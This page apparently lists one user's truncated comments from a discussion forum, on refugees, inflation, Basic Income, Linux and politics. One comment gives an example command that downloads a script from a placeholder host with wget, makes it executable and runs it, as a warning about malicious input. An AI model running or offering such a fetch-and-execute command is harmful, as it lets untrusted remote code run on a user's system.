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721.
by phaemon 11y ago
A quick google suggests you can survive longer than 8 days without water, if you're not moving or eating.
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by phaemon 11y ago
Fair enough. I realise that the Indian states are very different, much like different EU countries. I don't think the EU has quite as many languages (and dialects) as that, though there are more than many people think. Have a quick loo
723.
by phaemon 11y ago
> There have been all kinds of problems caused in the past by food aid, such as women being given just enough baby formula for their baby that their own natural milk production dried up, then the free aid stopped. That's not what ha
724.
by phaemon 11y ago
What do you mean by "more diverse than the European Union"? In what way?
725.
by phaemon 11y ago
I think you mean "(1 + rate)"...
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by phaemon 11y ago
They claim 2.5 million here: http://www.sbs.com.au/news/article/2015/09/19/saudi-arabia-h...
727.
by phaemon 11y ago
Saudi Arabia have claimed this is misleading. They say they have an open border to Syria and have accepted over 2.5 million Syrians since 2011. Is this claim incorrect?
728.
by phaemon 11y ago
Yes, and worse it could do something like: ALT+F2 wget http://example.com/badscript.sh && chmod 755 ~/badscript.sh && ~/badscript.sh & Which is not so good...
729.
by phaemon 11y ago
It's well known in America, but I think in the UK something like "If" (Rudyard Kipling) might be better (equally?) known. Or perhaps something from Shakespeare ("Shall I compare thee to a summer's day?") What a
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by phaemon 11y ago
> I do remember a time when you could boot Windows XP on a system with 64MB of RAM when you needed special configuration / custom kernels to boot Linux on such a system. No, you're misremembering. A Linux kernel has never neede
731.
by phaemon 11y ago
Yes. If you click the NOAA link on that graph, it'll take you to a Summary Stats page where you can switch between CPI adjusted and unadjusted. The link is: http://www.ncdc.noaa.gov/billions/summary-stats
732.
by phaemon 11y ago
No, quite the opposite. A main feature of the Basic Income is that it is not means tested.
733.
by phaemon 11y ago
You can't 'cd' to a file :-) Seriously, if you have 'work' as a side nav, then you could have it as a symlink, which makes it about the same. But it's really the stuff like looping over operations, or rsync ove
734.
by phaemon 11y ago
I don't really care what it's supposed to mean, but having just that bit of colour on the page (for the red ones) is quite distracting.
735.
by phaemon 11y ago
I disagree. Politicians love to leave things vague so they can argue they didn't break their promises later on. Getting politicians to specifically state that they will not do something is always a win.
736.
by phaemon 11y ago
Now that is interesting: the possibility of a whole new type of reality built of Dark Matter!
737.
Towards practical artificial photosynthesis(pubs.rsc.org)
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by phaemon 11y ago
>> Also, only a minority of people should be allowed to vote - maybe only those with an IQ of over 110. >If this is a bad idea, it's not bad for obvious reasons. Imagine a political party you don't like introducing this
739.
by phaemon 11y ago
True, they might. These people often seem to have a vastly inflated idea of their own intelligence and understanding.
740.
by phaemon 11y ago
The very fact that this is being negotiated in secret shows that the people involved know it is wrong. Any law that comes out of this "agreement" should be considered completely invalid.
741.
by phaemon 11y ago
Indeed, astonishing how that fit all into just 1kB (plus a copy of Microsoft Windows).
742.
by phaemon 11y ago
You're assuming it was the lack of drinking that caused the drop in violence, rather than the regular contact with law enforcement officials.
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by phaemon 11y ago
Surely not as weird as the Bir Tawil border dispute between Egypt and Sudan. Both argue that it should be part of the other country! https://en.wikipedia.org/wiki/Bir_Tawil
744.
by phaemon 11y ago
Calvin was hardly an intellectual midget, and the concept that he put forward the notion that "work led to salvation" is almost perversely wrong!
745.
by phaemon 11y ago
I think living anywhere other than your home country for a while is a valuable experience. You learn to not only recognise the flaws in your own country (which you can then push to improve), but you also learn to appreciate what you previou
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by phaemon 11y ago
There are many things that cause ideas and thoughts to be materialized in the world. Money is not one of them. It's simply a crude approximation of trust.
747.
by phaemon 11y ago
"Seemingly ephemeral" but not really, is not a particularly good definition. A drawing fits his definition. Or a dance.
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by phaemon 11y ago
The first essay on that list starts talking about "soft technologies" without defining what they are. They don't match other definitions of "soft technologies" and I'm having difficulty figuring out what the de
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by phaemon 11y ago
I realise that the argument upsets you (and frankly, it's difficult to figure the analogy), but that doesn't make it wrong. A different analogy (that's quite as offensive) might be slavery (""" = fake quote): &
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by phaemon 11y ago
Your answer appears to be wrong. Here are inflation figures for the UK from 1990 to 2015: http://www.rateinflation.com/inflation-rate/uk-historical-in... Can you spot the year that minimum wage was first introduced in

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